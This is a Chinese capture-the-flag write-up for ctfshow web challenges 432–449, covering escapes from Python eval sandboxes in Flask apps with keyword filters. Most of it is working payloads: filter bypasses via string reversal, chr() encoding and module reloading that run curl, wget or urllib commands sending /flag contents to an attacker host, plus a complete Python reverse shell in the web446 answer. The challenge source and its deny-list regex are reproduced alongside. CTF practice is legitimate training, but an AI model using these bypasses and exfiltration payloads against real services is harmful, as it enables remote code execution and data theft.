ctfshow web 其他 web432--web449

web432

过滤了os|open|system|read|eval

复制代码
?code=str(''.__class__.__bases__[0].__subclasses__[185].__init__.__globals__['__builtins__']['__imp'+'ort__']('o'+'s').__dict__['po'+'pen']('curl http://ip:port?1=`cat /f*`'))
?code=str(''.__class__.__bases__[0].__subclasses__()[185].__init__.__globals__['__builtins__']['__imp'+'ort__']('o'+'s').__dict__['po'+'pen']('curl http://ip:port?1=`cat /f*`'))

web433

过滤了os|open|system|read|eval|builtins

复制代码
?code=str(''.__class__.__bases__[0].__subclasses__()[185].__init__.__globals__['__bui'+'ltins__']['__imp'+'ort__']('o'+'s').__dict__['po'+'pen']('curl http://ip:port?1=`cat /f*`'))
?code=str(__import__('so'[::-1]).__getattribute__('syst'+'em')('curl http://ip:port?1=`cat /f*`'))

web 434

过滤了os|open|system|read|eval|builtins|curl

复制代码
?code=str(__import__('so'[::-1]).__getattribute__('syst'+'em')('cu'+'rl http://ip:port?1=`cat /f*`'))
?code=str(''.__class__.__bases__[0].__subclasses__()[185].__init__.__globals__['__bui'+'ltins__']['__imp'+'ort__']('o'+'s').__dict__['po'+'pen']('wget http://ip:port?1=`cat /f*`'))

web435--web439

过滤了os|open|system|read|eval|builtins|curl|_|getattr|{

python里面可以用分号执行多条语句

我们逆序写

复制代码
?code=str(exec(')"`*f/ tac`=1?83121:pi//:ptth tegw"(metsys.so;so tropmi'[::-1]))

web440

过滤了os|open|system|read|eval|builtins|curl|_|getattr|{|'|"

python 复制代码
a='import os;os.system("wget http://ip:port?1=`cat /f*`")'

def x(a):
    t=''
    for i in range(len(a)):
        if i < len(a)-1:
            t+='chr('+str(ord(a[i]))+')%2b'
        else:
            t+='chr('+str(ord(a[i]))+')'

    return t

print(x(a))
复制代码
?code=str(exec(chr(105)%2bchr(109)%2bchr(112)%2bchr(111)%2bchr(114)%2bchr(116)%2bchr(32)%2bchr(111)%2bchr(115)%2bchr(59)%2bchr(111)%2bchr(115)%2bchr(46)%2bchr(115)%2bchr(121)%2bchr(115)%2bchr(116)%2bchr(101)%2bchr(109)%2bchr(40)%2bchr(34)%2bchr(119)%2bchr(103)%2bchr(101)%2bchr(116)%2bchr(32)%2bchr(104)%2bchr(116)%2bchr(116)%2bchr(112)%2bchr(58)%2bchr(47)%2bchr(47)%2bchr(50)%2bchr(55)%2bchr(46)%2bchr(50)%2bchr(53)%2bchr(46)%2bchr(49)%2bchr(53)%2bchr(49)%2bchr(46)%2bchr(54)%2bchr(58)%2bchr(57)%2bchr(57)%2bchr(57)%2bchr(57)%2bchr(63)%2bchr(49)%2bchr(61)%2bchr(96)%2bchr(99)%2bchr(97)%2bchr(116)%2bchr(32)%2bchr(47)%2bchr(102)%2bchr(42)%2bchr(96)%2bchr(34)%2bchr(41)))

web441

python 复制代码
command = 'import os;os.system("wget http://ip:port?1=`cat /f*`")'

# 生成chr()函数调用列表
chr_list = [f'chr({ord(char)})' for char in command]

# 打印列表
# for i in chr_list:
#     print(i,end=",")

print("["+",".join(chr_list)+"]")
复制代码
?code=exec(str().join([chr(105),chr(109),chr(112),chr(111),chr(114),chr(116),chr(32),chr(111),chr(115),chr(59),chr(111),chr(115),chr(46),chr(115),chr(121),chr(115),chr(116),chr(101),chr(109),chr(40),chr(34),chr(119),chr(103),chr(101),chr(116),chr(32),chr(104),chr(116),chr(116),chr(112),chr(58),chr(47),chr(47),chr(50),chr(55),chr(46),chr(50),chr(53),chr(46),chr(49),chr(53),chr(49),chr(46),chr(54),chr(58),chr(57),chr(57),chr(57),chr(57),chr(63),chr(49),chr(61),chr(96),chr(99),chr(97),chr(116),chr(32),chr(47),chr(102),chr(42),chr(96),chr(34),chr(41)]))

?code=str(exec(request.args.get(chr(97))))&a=__import__('os').system('curl http://ip:port?1=`cat /f*`')

web442

过滤了数字

复制代码
?code=str(exec(request.args.get(request.method)))&GET=__import__('os').system('curl http://ip:port?1=`cat /f*`')

web443--web444

我没有写多因为payload是一样的打

php 复制代码
我觉得好奇葩,不知道传参位置后面看了web445的源码猜出来的
POST传参:
code=str(exec(globals()[list(globals().keys())[True-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)]].args.get(globals()[list(globals().keys())[True-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)]].method)))

//str(exec(globals()[list(globals().keys())[10]].args.get(globals()[list(globals().keys())[10]].method)))
GET传参:
?POST=__import__('os').system('curl http://ip:port?p=`cat /f*`')

看到了另外一种拼接字符的方法我觉得很神,但是由于太长不能正常传入

python 复制代码
def getNumber3(number):
    number = int(number)
    if number in [-2, -1, 0, 1]:
        return ["~int((len(str(None))/len(str(None))))", "~int(len(str()))",
                "int(len(str()))", "int((len(str(None))/len(str(None))))"][number + 2]

    if number % 2:
        return "~%s" % getNumber3(~number)
    else:
        return "(%s<<(int((len(str(None))/len(str(None))))))" % getNumber3(number / 2)

s = 'import os;os.system("curl http://xxxx?1=`cat /flag`")'
res = 'str().join(['
for i in s:
    res += f"chr({getNumber3(ord(i))}),"
res = res[:-1]
res += '])'
print(res)

web444

python 复制代码
def getNumber3(number):
    number = int(number)
    if number in [-2, -1, 0, 1]:
        return ["~int(True)", "~int(False)",
                "int(False)", "int(True)"][number + 2]

    if number % 2:
        return "~%s" % getNumber3(~number)
    else:
        return "(%s<<(int(True)))" % getNumber3(number / 2)


def getNumber2(number):
    number = int(number)
    if number in [-2, -1, 0, 1]:
        return ["~([]<())", "~([]<[])",
                "([]<[])", "([]<())"][number + 2]

    if number % 2:
        return "~%s" % getNumber2(~number)
    else:
        return "(%s<<([]<()))" % getNumber2(number / 2)

s = 'import os;os.system("curl http://xxxx?1=`cat /flag`")'
# s = '123'
res = 'str().join(['
for i in s:
    res += f"chr({getNumber3(ord(i))}),"
res = res[:-1]
res += '])'
print(res)

web445--web446

web445:
app.py

python 复制代码
from flask import Flask
from flask import request
import re
import os
del os.system
del os.popen

app = Flask(__name__)

def Q2B(uchar):
    inside_code = ord(uchar)
    if inside_code == 0x3000:
        inside_code = 0x0020
    else:
        inside_code -= 0xfee0
    if inside_code < 0x0020 or inside_code > 0x7e: 
        return uchar
    return chr(inside_code)

def stringQ2B(ustring):
    return "".join([Q2B(uchar) for uchar in ustring])

@app.route('/',methods=['POST', 'GET'])
def app_index():
    if request.method == 'POST':
        code = request.form['code']
        if code:
        	code = stringQ2B(code)
        	if '\\u' in code:
        		return 'hacker?'
        	if '\\x' in code:
        		return 'hacker?'
        	reg = re.compile(r'os|open|system|read|eval|builtins|curl|_|getattr|{|\'|"|\+|[0-9]|request|len')
        	if reg.search(code)==None:
        		return eval(code)
    return 'where is flag?<!-- /?code -->'

if __name__=="__main__":
    app.run(host='0.0.0.0',port=80)

web446:

python 复制代码
from flask import Flask
from flask import request
import re
import os
import imp
del os.system
del os.popen
del imp.reload

app = Flask(__name__)

def Q2B(uchar):
    inside_code = ord(uchar)
    if inside_code == 0x3000:
        inside_code = 0x0020
    else:
        inside_code -= 0xfee0
    if inside_code < 0x0020 or inside_code > 0x7e: 
        return uchar
    return chr(inside_code)

def stringQ2B(ustring):
    return "".join([Q2B(uchar) for uchar in ustring])

@app.route('/',methods=['POST', 'GET'])
def app_index():
    if request.method == 'POST':
        code = request.form['code']
        if code:
        	code = stringQ2B(code)
        	if '\\u' in code:
        		return 'hacker?'
        	if '\\x' in code:
        		return 'hacker?'
        	reg = re.compile(r'os|open|system|read|eval|builtins|curl|_|getattr|{|\'|"|\+|[0-9]|request|len')
        	if reg.search(code)==None:
        		return eval(code)
    return 'where is flag?<!-- /?code -->'

if __name__=="__main__":
    app.run(host='0.0.0.0',port=80)
复制代码
POST传参:
code=str(exec(globals()[list(globals().keys())[True-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)]].args.get(globals()[list(globals().keys())[True-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)]].method)))
GET传参:
?POST=import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ip",port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);

web447

python 复制代码
from flask import Flask
from flask import request
import re
import os
import imp
del os.system
del os.popen
del imp.reload
import subprocess
del subprocess.Popen
del subprocess.call
del subprocess.run
del subprocess.getstatusoutput
del subprocess.getoutput
del subprocess.check_call
del subprocess.check_output
import timeit
del timeit.timeit

app = Flask(__name__)

def Q2B(uchar):
    inside_code = ord(uchar)
    if inside_code == 0x3000:
        inside_code = 0x0020
    else:
        inside_code -= 0xfee0
    if inside_code < 0x0020 or inside_code > 0x7e: 
        return uchar
    return chr(inside_code)

def stringQ2B(ustring):
    return "".join([Q2B(uchar) for uchar in ustring])

@app.route('/',methods=['POST', 'GET'])
def app_index():
    if request.method == 'POST':
        code = request.form['code']
        if code:
        	code = stringQ2B(code)
        	if '\\u' in code:
        		return 'hacker?'
        	if '\\x' in code:
        		return 'hacker?'
        	reg = re.compile(r'os|open|system|read|eval|builtins|curl|_|getattr|{|\'|"|\+|[0-9]|request|len')
        	if reg.search(code)==None:
        		return eval(code)
    return 'where is flag?<!-- /?code -->'

if __name__=="__main__":
    app.run(host='0.0.0.0',port=80)

删除了很多,我们用reload重新下回来

复制代码
POST传参:
code=str(exec(globals()[list(globals().keys())[True-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)]].args.get(globals()[list(globals().keys())[True-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)]].method)))
GET传参:
POST=from importlib import reload;import os;reload(os);os.system('wget http://ip:port?1=`cat /f*`');

web448

python 复制代码
from flask import Flask
from flask import request
import re
import sys 
sys.modules['os']=None
sys.modules['imp']=None
sys.modules['subprocess']=None
sys.modules['socket']=None
sys.modules['timeit']=None
sys.modules['platform']=None

app = Flask(__name__)

def Q2B(uchar):
    inside_code = ord(uchar)
    if inside_code == 0x3000:
        inside_code = 0x0020
    else:
        inside_code -= 0xfee0
    if inside_code < 0x0020 or inside_code > 0x7e: 
        return uchar
    return chr(inside_code)

def stringQ2B(ustring):
    return "".join([Q2B(uchar) for uchar in ustring])

@app.route('/',methods=['POST', 'GET'])
def app_index():
    if request.method == 'POST':
        code = request.form['code']
        if code:
        	code = stringQ2B(code)
        	if '\\u' in code:
        		return 'hacker?'
        	if '\\x' in code:
        		return 'hacker?'
        	reg = re.compile(r'os|open|system|read|eval|builtins|curl|_|getattr|{|\'|"|\+|[0-9]|request|len')
        	if reg.search(code)==None:
        		return eval(code)
    return 'where is flag?<!-- /?code -->'

if __name__=="__main__":
    app.run(host='0.0.0.0',port=80)
复制代码
POST传参:
code=str(exec(globals()[list(globals().keys())[True-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)]].args.get(globals()[list(globals().keys())[True-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)]].method)))
GET传参:
?POST=import shutil;shutil.copy('/user/local/lib/python3.8/os.py','a.py');import a;a.system('wget http://ip:port?1=`cat /f*`');

?POST=import sys;del sys.modules['os'];import os;os.system('wget http://ip:port?1=`cat /f*`');

web449

python 复制代码
from flask import Flask
from flask import request
import re
import sys 
sys.modules['os']=None
sys.modules['imp']=None
sys.modules['subprocess']=None
sys.modules['socket']=None
sys.modules['timeit']=None
sys.modules['platform']=None
sys.modules['sys']=None

app = Flask(__name__)
sys.modules['importlib']=None
del sys

def Q2B(uchar):
    inside_code = ord(uchar)
    if inside_code == 0x3000:
        inside_code = 0x0020
    else:
        inside_code -= 0xfee0
    if inside_code < 0x0020 or inside_code > 0x7e: 
        return uchar
    return chr(inside_code)

def stringQ2B(ustring):
    return "".join([Q2B(uchar) for uchar in ustring])


@app.route('/',methods=['POST', 'GET'])
def app_index():
    if request.method == 'POST':
        code = request.form['code']
        if code:
        	code = stringQ2B(code)
        	if '\\u' in code:
        		return 'hacker?'
        	if '\\x' in code:
        		return 'hacker?'
        	reg = re.compile(r'os|open|system|read|eval|builtins|curl|_|getattr|{|\'|"|\+|[0-9]|request|len')
        	if reg.search(code)==None:
        		return eval(code)
    return 'where is flag?<!-- /?code -->'

if __name__=="__main__":
    app.run(host='0.0.0.0',port=80)
复制代码
GET传参:
?POST=s = open('/flag').read();import urllib;urllib.request.urlopen('http://ip:port?1='%2bs);
POST 传参:
code=str(exec(globals()[list(globals().keys())[True-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)]].args.get(globals()[list(globals().keys())[True-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)]].method)))
相关推荐
数据智能老司机4 小时前
精通 Python 设计模式——分布式系统模式
python·设计模式·架构
数据智能老司机5 小时前
精通 Python 设计模式——并发与异步模式
python·设计模式·编程语言
数据智能老司机5 小时前
精通 Python 设计模式——测试模式
python·设计模式·架构
数据智能老司机5 小时前
精通 Python 设计模式——性能模式
python·设计模式·架构
c8i5 小时前
drf初步梳理
python·django
每日AI新事件5 小时前
python的异步函数
python
这里有鱼汤7 小时前
miniQMT下载历史行情数据太慢怎么办?一招提速10倍!
前端·python
databook16 小时前
Manim实现脉冲闪烁特效
后端·python·动效
程序设计实验室16 小时前
2025年了,在 Django 之外,Python Web 框架还能怎么选?
python
倔强青铜三18 小时前
苦练Python第46天:文件写入与上下文管理器
人工智能·python·面试